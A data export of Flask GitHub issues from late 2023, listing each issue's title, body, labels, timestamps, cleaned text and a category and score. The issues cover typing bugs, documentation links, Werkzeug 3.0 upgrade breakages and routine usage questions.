Out of Django, Flask and FastAPI only Flask is not having OpenAPI support. I know there are li... [TRUNCATED]",,2023-11-24 12:21:43+00:00,2023-11-24 14:26:47+00:00,2,nan,0.0869,add openapi functionality as of today fast api and flask are more preferred framework to develop microservice and service mesh architecture flask is more preferred for below points microservice architecture more extension available in community than others as its bit matured i really like the simplicity flask has but in recent days flask is loosing to fastapi biggest con of flask is its incompatibility with openapi documentation capability being an architect my whole org has moved to fastapi for a simple reason openapi integration and documentation as it helps us save on maintaining more than product api documentation earlier we were using rd party tools to maintain these documentation it would really help flask gain more ability if we can add openapi specification just like fast api i understand the same feature request was raised in back in but i believe being in technology domain we have keep ourselves updated same goes with the web framework as well to illustrate few django is adding capability to have microservice support why its to keep them updated with latest requirement out of django flask and fastapi only flask is not having openapi support i know there are library available in community which can do this but having it natively available in flask bring more confidence out of django flask and fastapi only flask is not having openapi support i know there are li truncated,others,0.995
pallets/flask,1993088827,"Incompatible return value type: got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response""","Environment:

- Python version: 3.11
- Flask version: 3.0.0
- mypy version: 1.5.1


Hey! I recently started migrating from Flask version 2.3.2 to version 3.0.0, and I've encountered some typing bugs while doing so.

I have a simple part of a code in my project:
```python
def redirect_to_uri(uri: str) -> flask.Response:
    return flask.redirect(uri)
```
But when I migrated to version 3.0.0, mypy started to raise an error during type checking, while everything was okay on version 2.3.2:

```
main/api/helpers.py: note: In function ""redirect_to_uri"":
main/api/helpers.py:74:12: error: Incompatible return value type (got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response"")  [return-value]
        return flask.redirect(uri)
               ^~~~~~~~~~~~~~~~~~~
Found 1 error in 1 file (checked 29 source files)
```

I've found an old issue that could possibly help solve the described problem https://github.com/pallets/flask/issues/4600

Have a nice day:)",typing,2023-11-14 16:20:43+00:00,2023-12-13 23:47:09+00:00,5,typing,29.31,incompatible return value type got werkzeug wrappers response response expected flask wrappers response environment python version flask version mypy version hey i recently started migrating from flask version to version and i ve encountered some typing bugs while doing so i have a simple part of a code in my project but when i migrated to version mypy started to raise an error during type checking while everything was okay on version i ve found an old issue that could possibly help solve the described problem have a nice day,others,0.6059
pallets/flask,1984035139,Can we  create a database that  collect just integers,"The database will calculate and increase the number by 1 like the one of replit

```python  
          db = [ ]
if number not in db:
    number +=1
   db.append(number)
```",,2023-11-08 16:59:56+00:00,2023-11-08 17:01:17+00:00,2,nan,0.0009,can we create a database that collect just integers the database will calculate and increase the number by like the one of replit,others,0.7351
pallets/flask,1977580223,ResponseValue Typing issue,"This is not a runtime bug but a typing issue. In `flask.typing`, `ResponseValue` does not accept `AsyncIterator[str]`.

I am using `quart-trio`, which itself uses `quart`, which uses `flask`.
`quart.templating.stream_template` returns `AsyncIterator[str]`, and when running mypy on my project I get the following error:
```
error: Value of type variable ""T_route"" of function cannot be ""Callable[[], Coroutine[Any, Any, AsyncIterator[str] | Response]]""  [type-var]
```

Example usage:
```python
__title__ = ""Example Server""
__author__ = ""CoolCat467""

from quart.templating import stream_template
from quart_trio import QuartTrio
import trio
from os import path, makedirs
import functools
import logging
from quart import Response
from typing import Final
from logging.handlers import TimedRotatingFileHandler
from collections.abc import AsyncIterator
from hypercorn.config import Config
from hypercorn.trio import serve


DOMAIN: str | None = None#getenv(""DOMAIN"", None)

FORMAT = ""[%(asctime)s] [%(levelname)s] %(message)s""

ROOT_FOLDER = trio.Path(path.dirname(__file__))
CURRENT_LOG = ROOT_FOLDER / ""logs"" / ""current.log""

if not path.exists(path.dirname(CURRENT_LOG)):
    makedirs(path.dirname(CURRENT_LOG))

logging.basicConfig(format=FORMAT, level=logging.DEBUG, force=True)
logging.getLogger().addHandler(
    TimedRotatingFileHandler(
        CURRENT_LOG,
        when=""D"",
        backupCount=60,
        encoding=""utf-8"",
        utc=True,
    ... [TRUNCATED]",typing,2023-11-05 01:08:03+00:00,2024-10-31 03:54:16+00:00,6,typing,361.1154,responsevalue typing issue this is not a runtime bug but a typing issue in does not accept i am using which itself uses which uses returns and when running mypy on my project i get the following error example usage python title example server author coolcat from quart templating import stream template from quart trio import quarttrio import trio from os import path makedirs import functools import logging from quart import response from typing import final from logging handlers import timedrotatingfilehandler from collections abc import asynciterator from hypercorn config import config from hypercorn trio import serve domain str none none getenv domain none format asctime s levelname s message s root folder trio path path dirname file current log root folder logs current log if not path exists path dirname current log makedirs path dirname current log logging basicconfig format format level logging debug force true logging getlogger addhandler timedrotatingfilehandler current log when d backupcount encoding utf utc true truncated,bug,0.3322
pallets/flask,1977004072,flask.send_file() with Pylance in strict mode shows reportUnknownMemberType,"I was using this method fine, until I switched on 'strict' mode in the Pylance plugin for vscode. This gave me the error at calling the method:

```
Type of ""send_file"" is partially unknown
  Type of ""send_file"" is ""(path_or_file: PathLike[Unknown] | str | BinaryIO, mimetype: str | None = None, as_attachment: bool = False, download_name: str | None = None, conditional: bool = True, etag: bool | str = True, last_modified: datetime | int | float | None = None, max_age: int | ((str | None) -> (int | None)) | None = None) -> Response"" 
```
Code that causes the error:
```
@app.route('/')
def home():
    return flask.send_file('web/index.html')
```
The error sits on: ""flask.send_file""

I've been trying to infer this type and googled around, but can't seem to resolve this issue. having investigated ""PathLike[Unknown]"" for a while now looking into this, I've come to the conclusion that this issue is likely cause by the fact that PathLike requires a generic type to be declared.  If I manually (and temporary) add this generic type in, the error goes away.

In helpers.py (around line 391) I change:
```
def send_file(
    path_or_file: t.Union[os.PathLike, str, t.BinaryIO],
```
into:
```
def send_file(
    path_or_file: t.Union[os.PathLike[str], str, t.BinaryIO],
```
I've added the ""[str]"" generic type to PathLike. Possibly this might need to be ""[AnyStr]"" as that is the type declared in os.

I hope this is an easy fix, and that this isn't a user error that I ... [TRUNCATED]",typing,2023-11-03 22:23:00+00:00,2023-11-15 20:59:36+00:00,3,typing,11.9421,flask send file with pylance in strict mode shows reportunknownmembertype i was using this method fine until i switched on strict mode in the pylance plugin for vscode this gave me the error at calling the method code that causes the error the error sits on flask send file i ve been trying to infer this type and googled around but can t seem to resolve this issue having investigated pathlike unknown for a while now looking into this i ve come to the conclusion that this issue is likely cause by the fact that pathlike requires a generic type to be declared if i manually and temporary add this generic type in the error goes away in helpers py around line i change into i ve added the str generic type to pathlike possibly this might need to be anystr as that is the type declared in os i hope this is an easy fix and that this isn t a user error that i truncated,others,0.5647
pallets/flask,1976315821,Auto-redirects breaks the connection,"If you send  a multi-part body request to the incorrect URL(when you forget a ""/"" at the end of URL eg), you will get redirected automatically. And it breaks the connection with uwsgi. 

I believe because it does not read the whole request body and it is required by uwsgi that the application needs to read the request body.

I get the file upload from the examples for Flask:

```python
import os
from flask import Flask, flash, request, redirect, url_for
from werkzeug.utils import secure_filename
import logging

UPLOAD_FOLDER = './upload'

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['SECRET_KEY'] = ""Your_secret_string""

@app.route('/stg/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # check if the post request has the file part
        if 'file' not in request.files:
            flash('No file part')
            app.logger.warning('no file part')
            return redirect(request.url)
        file = request.files['file']
        # If the user does not select a file, the browser submits an
        # empty file without a filename.
        if file.filename == '':
            flash('No selected file')
            app.logger.warning('empty filename')
            return redirect(request.url)
        if file:
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return redirect(request.ur... [TRUNCATED]",,2023-11-03 14:23:55+00:00,2023-11-03 14:32:05+00:00,4,nan,0.0057,auto redirects breaks the connection if you send a multi part body request to the incorrect url when you forget a at the end of url eg you will get redirected automatically and it breaks the connection with uwsgi i believe because it does not read the whole request body and it is required by uwsgi that the application needs to read the request body i get the file upload from the examples for flask python import os from flask import flask flash request redirect url for from werkzeug utils import secure filename import logging upload folder upload app flask name app config upload folder upload folder app config secret key your secret string app route stg methods get post def upload file if request method post check if the post request has the file part if file not in request files flash no file part app logger warning no file part return redirect request url file request files file if the user does not select a file the browser submits an empty file without a filename if file filename flash no selected file app logger warning empty filename return redirect request url if file filename secure filename file filename file save os path join app config upload folder filename return redirect request ur truncated,others,-0.5719
pallets/flask,1969940722,Typo in docs/tutorial/factory,"I was working through the tutorial and ran into a problem getting the example code to work.

It appears that you need to put a trailing backslash on this route for it to render.

---

```python
@app.route(""/hello"") # no trailing backslash
def hello():
    return ""Hello, World!""
```
This code returns:
![not_found_error](https://github.com/pallets/flask/assets/10804241/3fb97874-0fd0-4b13-b110-6b0feca66392)

---

```python
@app.route(""/hello/"") # with trailing backslash
def hello():
    return ""Hello, World!""
```
returns:
![hello_world](https://github.com/pallets/flask/assets/10804241/f5071e1d-594c-474a-9391-4ace7d7b8f4b)

Environment:

- Python version: 3.11.2
- Flask version: 3.0.0
",,2023-10-31 08:50:46+00:00,2023-10-31 13:50:04+00:00,1,nan,0.2078,typo in docs tutorial factory i was working through the tutorial and ran into a problem getting the example code to work it appears that you need to put a trailing backslash on this route for it to render this code returns not found error returns hello world environment python version flask version,documentation,-0.0567
pallets/flask,1966503429,Docs: outdated link to Hypercorn in asgi.rst,"Outdated link to Hypercorn at https://flask.palletsprojects.com/en/3.0.x/deploying/asgi/
Hypercorn moved from gitlab to github. See https://gitlab.com/pgjones/hypercorn/-/blob/main/README.rst

**How to replicate the bug.**
Go to https://flask.palletsprojects.com/en/3.0.x/deploying/asgi/
Click on Hypercorn.
You'll get to page https://gitlab.com/pgjones/hypercorn and see the messages:
- Quart has moved! See https://github.com/pgjones/hypercorn
- Hypercorn is now hosted at [github.com/pgjones/hypercorn](https://github.com/pgjones/hypercorn).",,2023-10-28 08:35:25+00:00,2023-10-28 15:42:55+00:00,0,nan,0.2969,docs outdated link to hypercorn in asgi rst outdated link to hypercorn at hypercorn moved from gitlab to github see how to replicate the bug go to click on hypercorn you ll get to page and see the messages quart has moved see hypercorn is now hosted at github com pgjones hypercorn,documentation,-0.4588
pallets/flask,1964918433,Change color of output,"Hi I'm trying to configure color output for formatting, but I'm loosing this battle, I have no idea what you did with logger, but everything I try works on  ""clear"" logging, but not on logger coming with flask. Can you configure logs like this please ? Like, why python [""INFO""] log is red in console ? 

![image](https://github.com/pallets/flask/assets/19526670/1e89759e-beb8-4b66-a703-228033ba7c35)


This code works with logging, but not with flask.

```
class CustomFormatter(logging.Formatter):
    grey = ""\x1b[38;20m""
    yellow = ""\x1b[33;20m""
    red = ""\x1b[31;20m""
    bold_red = ""\x1b[31;1m""
    reset = ""\x1b[0m""
    format = ""%(asctime)s - %(name)s - %(levelname)s - %(message)s (%(filename)s:%(lineno)d)""

    FORMATS = {
        logging.DEBUG: grey + format + reset,
        logging.INFO: grey + format + reset,
        logging.WARNING: yellow + format + reset,
        logging.ERROR: red + format + reset,
        logging.CRITICAL: bold_red + format + reset
    }

    def format(self, record):
        print(record)
        log_fmt = self.FORMATS.get(record.levelno)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

logger = logging.getLogger(""tmp"")
logger.setLevel(logging.DEBUG)

# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)

ch.setFormatter(CustomFormatter())

logger.addHandler(ch)

logger.info(""Hello"")
logger.error(""Hello"")
logger.deb... [TRUNCATED]",,2023-10-27 07:19:17+00:00,2023-10-27 13:52:14+00:00,0,nan,0.2729,change color of output hi i m trying to configure color output for formatting but i m loosing this battle i have no idea what you did with logger but everything i try works on clear logging but not on logger coming with flask can you configure logs like this please like why python info log is red in console image this code works with logging but not with flask class customformatter logging formatter grey x b m yellow x b m red x b m bold red x b m reset x b m format asctime s name s levelname s message s filename s lineno d formats logging debug grey format reset logging info grey format reset logging warning yellow format reset logging error red format reset logging critical bold red format reset def format self record print record log fmt self formats get record levelno formatter logging formatter log fmt return formatter format record logger logging getlogger tmp logger setlevel logging debug create console handler with a higher log level ch logging streamhandler ch setlevel logging debug ch setformatter customformatter logger addhandler ch logger info hello logger error hello logger deb truncated,others,0.4286
pallets/flask,1959066478,Deprecated link for ProxyFix via Sphinx,"## Summary of Bug

The link to class `ProxyFix` in `Werkzeug` in the [Flask 3.0.x quickstart docs](https://flask.palletsprojects.com/en/3.0.x/quickstart/#hooking-in-wsgi-middleware), generated with ` :class:``~werkzeug.middleware.proxy_fix.ProxyFix`` `, is given as: 

https://werkzeug.palletsprojects.com/en/2.3.x/middleware/proxy_fix/#werkzeug.middleware.proxy_fix.ProxyFix

However, that link, linking to werkzeug 2.3.x is deprecated, and should instead link to 3.0.x I believe:

https://werkzeug.palletsprojects.com/en/3.0.x/middleware/proxy_fix#werkzeug.middleware.proxy_fix.ProxyFix

## Describe how to replicate the bug

I was not able to reproduce the bug. Building the docs locally gives the correct link (werkzeug 3.0.x). 

## Describe the expected behavior

The docs should build with the updated cross-link to `Proxyfix` in `Werkzeug`:

https://werkzeug.palletsprojects.com/en/3.0.x/middleware/proxy_fix#werkzeug.middleware.proxy_fix.ProxyFix

## Environment:

- Python version: 3.10.13
- Flask version: `main` branch: beedaa4eff3919f250fad49a5092cf07c4d638e1",,2023-10-24 11:40:21+00:00,2023-10-24 14:12:20+00:00,1,nan,0.1055,deprecated link for proxyfix via sphinx summary of bug the link to class in in the flask x quickstart docs generated with is given as however that link linking to werkzeug x is deprecated and should instead link to x i believe describe how to replicate the bug i was not able to reproduce the bug building the docs locally gives the correct link werkzeug x describe the the docs should build with the updated cross link to in environment python version flask version branch beedaa eff f fad a cf c d e,bug,-0.7964
pallets/flask,1956585901,running Thread object cause twice running,"following code cause MyThread object running twice.

```python
import threading
import time
from flask import Flask

class MyThread(threading.Thread):
    def __init__(self):
        super().__init__()
        self.event = threading.Event()

    def run(self):
        print(""Hello"")


app = Flask(__name__)
t1 = MyThread()
t1.start()
app.run(host='0.0.0.0', port = 19001, debug = True)
```

set debug as False can avoid this problem but why is that? Is that a feature?",,2023-10-23 08:03:50+00:00,2023-10-23 08:07:56+00:00,2,nan,0.0028,running thread object cause twice running following code cause mythread object running twice set debug as false can avoid this problem but why is that is that a feature,others,-0.3945
pallets/flask,1955617189,Streaming data to multiple clients,"I'm not sure if this is a bug in flask or just what is to be expected.

In the following example, if 1 VLC client connects, the stream plays back smoothly.
If 2 or more clients connect, all streams fail to play back smoothly/properly.
As soon as the client connections goes back down to 1, the stream starts to playback properly.

```
import subprocess
from flask import (
    Flask,
    Response,
)

app = Flask(__name__)

stream = None


@app.route(""/play"", methods=[""GET""])
def channel():
    def createStream(ffmpegcmd):
        global stream
        print(""create stream"")
        stream = subprocess.Popen(
            ffmpegcmd,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE,
            stderr=subprocess.DEVNULL,
        )

    def streamData():
        print(""stream data"")
        try:
            while True:
                chunk = stream.stdout.read(1024)
                if len(chunk) == 0:
                    break
                yield chunk
        except:
            pass

    if not stream:
        link = ""https://cph-p2p-msl.akamaized.net/hls/live/2000341/test/master.m3u8""

        ffmpegcmd = [
            ""ffmpeg"",
            ""-re"",
            ""-i"",
            link,
            ""-map"",
            ""0"",
            ""-codec"",
            ""copy"",
            ""-f"",
            ""mpegts"",
            ""pipe:"",
        ]

        createStream(ffmpegcmd)

    return Response(streamData(... [TRUNCATED]",,2023-10-21 18:34:26+00:00,2023-10-21 18:50:14+00:00,3,nan,0.011,streaming data to multiple clients i m not sure if this is a bug in flask or just what is to be expected in the following example if vlc client connects the stream plays back smoothly if or more clients connect all streams fail to play back smoothly properly as soon as the client connections goes back down to the stream starts to playback properly import subprocess from flask import flask response app flask name stream none app route play methods get def channel def createstream ffmpegcmd global stream print create stream stream subprocess popen ffmpegcmd stdin subprocess devnull stdout subprocess pipe stderr subprocess devnull def streamdata print stream data try while true chunk stream stdout read if len chunk break yield chunk except pass if not stream link ffmpegcmd ffmpeg re i link map codec copy f mpegts pipe createstream ffmpegcmd return response streamdata truncated,others,0.4094
pallets/flask,1955359572,Getting a permanent redirect instead of executing the function on a URL with variables,"In my code I have the following:

```
@bp.post('/refresh', defaults={'mode': 'app'})
@bp.post('/refresh/<mode>')
def refresh_expiring_jwts(mode):
    if mode not in ['app', 'web']:
        raise NotFound
```
I would expect that when pointing a request to /refresh/app, I'd get refresh_expiring_jwts executed. Instead, I am getting back a permanent redirect to ""/refresh/"". I have checked the urls map and there are two rules pointing to the same method, one for /refresh and another for /refresh/<mode>. At the same time, I see that in the definition of Map (line, 99) is set to True, with this description for the parameter:
```python
    :param redirect_defaults: This will redirect to the default rule if it
                              wasn't visited that way. This helps creating
                              unique URLs.
```
This map is used in the initialization of MapAdapter, line 391, and then in then in line 628, for match():
```python
            if self.map.redirect_defaults:
                redirect_url = self.get_default_redirect(rule, method, rv, query_args)
                if redirect_url is not None:
                    raise RequestRedirect(redirect_url)
```
So... I think I am missing something here? What am I doing wrong?

Environment:

- Python version: 3.11.5
- Flask version: 3.0.0
",,2023-10-21 06:52:16+00:00,2023-10-21 18:50:30+00:00,1,nan,0.4988,getting a permanent redirect instead of executing the function on a url with variables in my code i have the following i would expect that when pointing a request to refresh app i d get refresh expiring jwts executed instead i am getting back a permanent redirect to refresh i have checked the urls map and there are two rules pointing to the same method one for refresh and another for refresh at the same time i see that in the definition of map line is set to true with this description for the parameter this map is used in the initialization of mapadapter line and then in then in line for match so i think i am missing something here what am i doing wrong environment python version flask version,others,-0.4144
pallets/flask,1951836061,"request.is_secure, Azure and X-ARR-SSL","This code will cause a redirect when ran on Azure Web App (possibly on other Azure services as well):

```
@app.before_request
def before_request():
    if not request.is_secure:
        url = request.url.replace('http://', 'https://', 1)
        code = 301
        print(""Redirecting to https"")
        return redirect(url, code=code)
```

because request.is_secure will return False.

I had to use this instead:

```
@app.before_request
def before_request():
    """"""Redirect to https and www-less.
    BEWARE that the value must be returned. Otherwise, the request'll continue.
    So extracting into subfunctions not necessarily convenient.
    """"""    
    if not secure_site():
        url = request.url.replace('http://', 'https://', 1)
        code = 301
        print(""Redirecting to https"")
        return redirect(url, code=code)

    host = request.headers.get('Host')
    if host.startswith('www.'):
        url = request.url.replace(f'{host}', f'{host[4:]}', 1)
        print(""Redirecting to www-less"")
        return redirect(url, code=301)

def secure_site():
    # Check if Flask thinks it's secure
    if request.is_secure:
        return True

    # Check for Azure's header indicating SSL termination at the load balancer
    # Because Flask does not know/handle this.
    if request.headers.get('X-ARR-SSL'):
        return True

    # Check for the header used by Heroku and others
    forwarded_proto = request.headers.get('X-Forward... [TRUNCATED]",,2023-10-19 10:30:10+00:00,2023-10-19 10:33:05+00:00,1,nan,0.002,request is secure azure and x arr ssl this code will cause a redirect when ran on azure web app possibly on other azure services as well because request is secure will return false i had to use this instead app before request def before request redirect to https and www less beware that the value must be returned otherwise the request ll continue so extracting into subfunctions not necessarily convenient if not secure site url request url replace code print redirecting to https return redirect url code code host request headers get host if host startswith www url request url replace f host f host print redirecting to www less return redirect url code def secure site check if flask thinks it s secure if request is secure return true check for azure s header indicating ssl termination at the load balancer because flask does not know handle this if request headers get x arr ssl return true check for the header used by heroku and others forwarded proto request headers get x forward truncated,feature,0.9661
pallets/flask,1940821500,Pip,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:",,2023-10-12 21:31:08+00:00,2023-10-12 21:32:41+00:00,0,nan,0.0011,pip this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version,others,-0.5267
pallets/flask,1940475361,jinja2.exceptions.TemplateNotFound,"Hi.

I am discovering flask by following a tutorial on the web site : https://www.geeksforgeeks.org/flask-http-method/
I am trying to repeate the exercise but when I try to open the server after I have launched the Python script, it doesn't work. And I don't understand as I have created the ""templates"" directory, and put there the .html files.
Here are screenshots about my project and the issue.

Thanks for the help.

![page1](https://github.com/pallets/flask/assets/111196043/74566791-7ab6-4148-b49c-8b3fcebec02a)

![page2](https://github.com/pallets/flask/assets/111196043/e169f24e-75c3-44b3-b0e1-fe62f231ebe9)

![page3](https://github.com/pallets/flask/assets/111196043/ae217f00-9596-4f09-ac22-89647ab8fbc4)

![page4](https://github.com/pallets/flask/assets/111196043/b9004e6b-66f8-408c-b7a6-cae3036556f8)

![page5](https://github.com/pallets/flask/assets/111196043/4344fd61-84ae-4b89-8626-f2d134d222c3)

![page6](https://github.com/pallets/flask/assets/111196043/1669e1c2-4bd8-4119-999e-93531f1cbae5)

![page7](https://github.com/pallets/flask/assets/111196043/470c2fcb-1753-4079-b1fd-8ff8aee8a5a3)

",,2023-10-12 17:36:51+00:00,2023-10-12 18:08:05+00:00,0,nan,0.0217,jinja exceptions templatenotfound hi i am discovering flask by following a tutorial on the web site i am trying to repeate the exercise but when i try to open the server after i have launched the python script it doesn t work and i don t understand as i have created the templates directory and put there the html files here are about my project and the issue thanks for the help page page page page page page page,others,0.8922
pallets/flask,1928965817,Refactoring and improving documentation in tox.ini,"<!--
Improved the readability and organization of the dependency configuration by grouping all development dependencies from Pallets GitHub repositories under a 'dev' section. This change eliminates redundancy and makes it easier to manage and update development dependencies in the future.
-->

<!--
This problem is solvable without changes to Flask and should not provide any issues or conflicts!
-->
",,2023-10-05 19:57:47+00:00,2023-10-05 20:02:42+00:00,0,nan,0.0034,refactoring and improving documentation in tox ini improved the readability and organization of the dependency configuration by grouping all development dependencies from pallets github repositories under a dev section this change eliminates redundancy and makes it easier to manage and update development dependencies in the future this problem is solvable without changes to flask and should not provide any issues or conflicts,documentation,0.4543
pallets/flask,1926864286,url_for() does not percent encode /,"url_for does not percent encode /

```
from flask import Blueprint, url_for, Flask


bp = Blueprint('test', __name__)

@bp.route('/bogus')
def bogus():
    pass

app = Flask(__name__)
app.register_blueprint(bp)

with app.test_request_context(""/bogus""):

    url = url_for('test.bogus', query=""bob smith"")
    print(url)
    assert url != ""/bogus?query=bob smith""


    url = url_for('test.bogus', query=""bob/smith"")
    print(url)
    assert url != ""/bogus?query=bob/smith""
```

```
$ python --version
Python 3.10.6
$ pip show flask
Name: Flask
Version: 3.0.0
Summary: A simple framework for building complex web applications.
Home-page: 
Author: 
Author-email: 
License: 
Location: /home/xxx/.pyenv/versions/3.10.6/envs/flask30/lib/python3.10/site-packages
Requires: blinker, click, itsdangerous, Jinja2, Werkzeug
Required-by: 
$ python test.py
/bogus?query=bob+smith
/bogus?query=bob/smith
Traceback (most recent call last):
  File ""/home/xxx/src/flaks30/test.py"", line 22, in <module>
    assert url != ""/bogus?query=bob/smith""
AssertionError
```

Expected that / would be percent encoded as specified in RFC3986
https://datatracker.ietf.org/doc/html/rfc3986#section-2.1

I believe this is a regression because I have a unit test that fails with this version of Flask but passed with earlier versions. 

Environment:

- Python version: 3.10.6
- Flask version: 3.0.0
",,2023-10-04 19:42:28+00:00,2023-10-04 22:35:02+00:00,1,nan,0.1198,url for does not percent encode url for does not percent encode expected that would be percent encoded as specified in rfc i believe this is a regression because i have a unit test that fails with this version of flask but passed with earlier versions environment python version flask version,others,-0.2263
pallets/flask,1926848772,"Flask setup.py should use ""Werkzeug ~= 2.2.2"" instead of ""Werkzeug >= 2.2.2""","The recent release of Werkzeug 3.x has affected the logic of Flask setup.py causing it to install an incompatible version of Werkzeug. A change to setup.py from `>=` to `~=` would  remedy the situation until the community can verify Flask 3.x is at a known stable release point.

Actual:

`pip install Flask==2.2.2` does not create a working install of Flask

Expected:

`pip install Flask==2.2.2` should create a working install of Flask

Environment:

- Python version: 3.11
- Flask version: 2.2.2
",,2023-10-04 19:32:24+00:00,2023-10-04 19:34:12+00:00,7,nan,0.0012,flask setup py should use werkzeug instead of werkzeug the recent release of werkzeug x has affected the logic of flask setup py causing it to install an incompatible version of werkzeug a change to setup py from to would remedy the situation until the community can verify flask x is at a known stable release point actual does not create a working install of flask expected should create a working install of flask environment python version flask version,others,-0.0588
pallets/flask,1925370072,About Stream with context not work on IIS ,"On Local, I can make @stream_with_context work and generate a stream string to my mobile flutter app.
However when publish to IIS windows server in production, it does not work anymore, it return the whole string.

Is there a way to make it work in production with IIS?
",,2023-10-04 04:12:01+00:00,2023-10-04 04:21:06+00:00,0,nan,0.0063,about stream with context not work on iis on local i can make stream with context work and generate a stream string to my mobile flutter app however when publish to iis windows server in production it does not work anymore it return the whole string is there a way to make it work in production with iis,others,0.0
pallets/flask,1924257889,Import error in Flask version 3.0.0,"After updating the flask version, I wanted to run my server as usual, but encountered the following message:

```
Traceback (most recent call last):
  File ""/Users/ft61dv/Desktop/Enablers/P05182-Asgard/server.py"", line 2, in <module>
    from flask_mysqldb import MySQL
  File ""/Users/ft61dv/Library/Python/3.12/lib/python/site-packages/flask_mysqldb/__init__.py"", line 3, in <module>
    from flask import _app_ctx_stack, current_app
ImportError: cannot import name '_app_ctx_stack' from 'flask' (/Library/Frameworks/Python.framework/Versions/3.12/lib/python3.12/site-packages/flask/__init__.py)
```

The application was working fine before this update. To get it to work again, I downgraded my flask version back to 2.3.3

Environment:

- Python version: 3.12.0
- Flask version: 3.0.0
",,2023-10-03 14:19:38+00:00,2023-10-03 14:22:01+00:00,1,nan,0.0017,import error in flask version after updating the flask version i wanted to run my server as usual but encountered the following message the application was working fine before this update to get it to work again i downgraded my flask version back to environment python version flask version,bug,0.0516
pallets/flask,1923650362,work around for getting _request_ctx_stack.top,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.11.5
- Flask version: 3.0.0

With the release of flask-3.0.0, _request_ctx_stack and _app_ctx_stack got remoevd. May I know whether it's possible to 
get _request_ctx_stack.top with the new version? any workaround and sample?

it's causing import error in downstream library (flask-track-usage) - https://github.com/ashcrow/flask-track-usage/issues/69

Thanks! 
",,2023-10-03 08:55:16+00:00,2023-10-03 08:56:58+00:00,3,nan,0.0012,work around for getting request ctx stack top this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version with the release of flask request ctx stack and app ctx stack got remoevd may i know whether it s possible to get request ctx stack top with the new version any workaround and sample it s causing import error in downstream library flask track usage thanks,feature,-0.2382
pallets/flask,1923208232,Issue with Werkzeug bump,"
I have a few Flask applications running on Flask 2.3.2. On deployment today, the 2 apps went down. Error: 

 File ""/tmp/8dbc37810e69912/wsgi.py"", line 3, in <module>
2023-10-03T02:41:50.698042229Z     from application import create_app
2023-10-03T02:41:50.698045529Z   File ""/tmp/8dbc37810e69912/application/__init__.py"", line 8, in <module>
2023-10-03T02:41:50.698049029Z     from flask_login import login_required
2023-10-03T02:41:50.698052329Z   File ""/tmp/8dbc37810e69912/antenv/lib/python3.10/site-packages/flask_login/__init__.py"", line 12, in <module>
2023-10-03T02:41:50.698055829Z     from .login_manager import LoginManager
2023-10-03T02:41:50.698059729Z   File ""/tmp/8dbc37810e69912/antenv/lib/python3.10/site-packages/flask_login/login_manager.py"", line 33, in <module>
2023-10-03T02:41:50.698066830Z     from .utils import _create_identifier
2023-10-03T02:41:50.698070030Z   File ""/tmp/8dbc37810e69912/antenv/lib/python3.10/site-packages/flask_login/utils.py"", line 14, in <module>
2023-10-03T02:41:50.698073530Z     from werkzeug.urls import url_decode
2023-10-03T02:41:50.698076930Z ImportError: cannot import name 'url_decode' from 'werkzeug.urls'



I noticed that a few days ago werkzeug was bumped from 2.7.2 to 3.0.0

Pinning werkzeug back to 2.7.2 in my project resolves my issue. 



Environment:

- Python version: 3.10.0
- Flask version: 2.3.2
",,2023-10-03 03:17:10+00:00,2023-10-03 04:06:25+00:00,2,nan,0.0342,issue with werkzeug bump i have a few flask applications running on flask on deployment today the apps went down error file tmp dbc e wsgi py line in t z from application import create app t z file tmp dbc e application init py line in t z from flask login import login required t z file tmp dbc e antenv lib python site packages flask login init py line in t z from login manager import loginmanager t z file tmp dbc e antenv lib python site packages flask login login manager py line in t z from utils import create identifier t z file tmp dbc e antenv lib python site packages flask login utils py line in t z from werkzeug urls import url decode t z importerror cannot import name url decode from werkzeug urls i noticed that a few days ago werkzeug was bumped from to pinning werkzeug back to in my project resolves my issue environment python version flask version,bug,0.2263
pallets/flask,1923014026,Got error using flak Flask==2.0.2,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
-->

Environment: My application works fine previously, but after 2023/09/30, it deployed failed

- Python version: Python3
- Flask version:
- Flask==2.0.2
gunicorn==20.0.4
",,2023-10-02 23:51:27+00:00,2023-10-02 23:52:36+00:00,1,nan,0.0008,got error using flak flask this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception environment my application works fine previously but after it deployed failed python version python flask version flask gunicorn,bug,-0.8573
pallets/flask,1921377141,Pallets,"<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
